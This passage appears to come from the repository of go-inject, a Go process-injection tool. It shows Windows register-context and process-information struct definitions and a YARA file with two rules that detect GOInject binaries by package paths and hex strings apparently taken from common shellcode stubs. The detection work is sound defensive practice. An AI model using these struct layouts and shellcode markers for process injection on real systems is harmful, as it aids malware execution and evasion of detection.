uint16 36 | DataOffset uint32 37 | DataSelector uint16 38 | Reserved3 uint16 39 | MxCsr uint32 40 | MxCsr_Mask uint32 41 | FloatRegisters [8]M128A 42 | XmmRegisters [256]byte 43 | Reserved4 [96]byte 44 | } 45 | 46 | // https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-context 47 | type M128A struct { 48 | Low uint64 49 | High int64 50 | } 51 | 52 | // https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-context 53 | type CONTEXT struct { 54 | P1Home uint64 55 | P2Home uint64 56 | P3Home uint64 57 | P4Home uint64 58 | P5Home uint64 59 | P6Home uint64 60 | 61 | ContextFlags uint32 62 | MxCsr uint32 63 | 64 | SegCs uint16 65 | SegDs uint16 66 | SegEs uint16 67 | SegFs uint16 68 | SegGs uint16 69 | SegSs uint16 70 | EFlags uint32 71 | 72 | Dr0 uint64 73 | Dr1 uint64 74 | Dr2 uint64 75 | Dr3 uint64 76 | Dr6 uint64 77 | Dr7 uint64 78 | 79 | Rax uint64 80 | Rcx uint64 81 | Rdx uint64 82 | Rbx uint64 83 | Rsp uint64 84 | Rbp uint64 85 | Rsi uint64 86 | Rdi uint64 87 | R8 uint64 88 | R9 uint64 89 | R10 uint64 90 | R11 uint64 91 | R12 uint64 92 | R13 uint64 93 | R14 uint64 94 | R15 uint64 95 | 96 | Rip uint64 97 | 98 | FltSave XMM_SAVE_AREA32 99 | 100 | VectorRegister [26]M128A 101 | VectorControl uint64 102 | 103 | DebugControl uint64 104 | LastBranchToRip uint64 105 | LastBranchFromRip uint64 106 | LastExceptionToRip uint64 107 | LastExceptionFromRip uint64 108 | } 109 | 110 | type WOW64_CONTEXT struct { 111 | ContextFlags uint32 112 | Dr0 uint32 113 | Dr1 uint32 114 | Dr2 uint32 115 | Dr3 uint32 116 | Dr6 uint32 117 | Dr7 uint32 118 | FloatSave WOW64_FLOATING_SAVE_AREA 119 | SegGs uint32 120 | SegFs uint32 121 | SegEs uint32 122 | SegDs uint32 123 | Edi uint32 124 | Esi uint32 125 | Ebx uint32 126 | Edx uint32 127 | Ecx uint32 128 | Eax uint32 129 | Ebp uint32 130 | Eip uint32 131 | SegCs uint32 132 | EFlags uint32 133 | Esp uint32 134 | SegSs uint32 135 | ExtendedRegisters [512]byte 136 | } 137 | 138 | type WOW64_FLOATING_SAVE_AREA struct { 139 | ControlWord uint32 140 | StatusWord uint32 141 | TagWord uint32 142 | ErrorOffset uint32 143 | ErrorSelector uint32 144 | DataOffset uint32 145 | DataSelector uint32 146 | RegisterArea [80]byte 147 | Cr0NpxState uint32 148 | } 149 | 150 | type LDT_ENTRY struct { 151 | LimitLow uint16 152 | BaseLow uint16 153 | HighWord struct { 154 | Bytes struct { 155 | BaseMid byte 156 | Flags1 byte 157 | Flags2 byte 158 | BaseHi byte 159 | } 160 | Bits struct { 161 | BaseMid uint32 162 | Type uint32 163 | Dpl uint32 164 | Pres uint32 165 | LimitHi uint32 166 | Sys uint32 167 | Reserved0 uint32 168 | DefaultBig uint32 169 | Granularity uint32 170 | BaseHi uint32 171 | } 172 | } 173 | } 174 | 175 | type PROCESS_BASIC_INFORMATION struct { 176 | Reserved1 uint64 177 | PebBaseAddress uint64 178 | Reserved2 uint64 179 | Reserved3 uint64 180 | UniqueProcessId uint64 181 | Reserved4 uint64 182 | } 183 | -------------------------------------------------------------------------------- /yara/goinject.yar: -------------------------------------------------------------------------------- 1 | /* 2 | Yara Rule Set 3 | Author: Zane Gittins 4 | Date: 2022-07-01 5 | Identifier: GO-Inject Binary 6 | Reference: https://github.com/zaneGittins/go-inject 7 | */ 8 | 9 | /* Rule Set ----------------------------------------------------------------- */ 10 | 11 | import "pe" 12 | 13 | rule GOInject_Malware_Jul01_1 { 14 | meta: 15 | description = "Detects GOInject" 16 | author = "Zane Gittins" 17 | reference = "https://github.com/zaneGittins/go-inject" 18 | date = "2022-07-01" 19 | strings: 20 | $s1 = "go-inject/inject.init" fullword ascii 21 | $s2 = "go-inject/inject/kernel32.go" fullword ascii 22 | $s3 = "go-inject/inject/ntdll.go" fullword ascii 23 | condition: 24 | uint16(0) == 0x5a4d and filesize < 500MB and ( 25 | pe.section_index(".symtab") and 26 | any of them 27 | ) 28 | } 29 | 30 | rule GOInject_Malware_Jul01_2 { 31 | meta: 32 | description = "Detects GOInject" 33 | author = "Zane Gittins" 34 | reference = "https://github.com/zaneGittins/go-inject" 35 | date = "2022-07-01" 36 | strings: 37 | $s1 = "fc4883e4f0e8c" nocase 38 | $s2 = "fce8820000006" nocase 39 | $s3 = "golang.org/x/sys/windows" fullword ascii 40 | condition: 41 | uint16(0) == 0x5a4d and filesize < 500MB and ( 42 | pe.section_index(".symtab") and 43 | ($s1 or $s2) and $s3 44 | ) 45 | } 46 | --------------------------------------------------------------------------------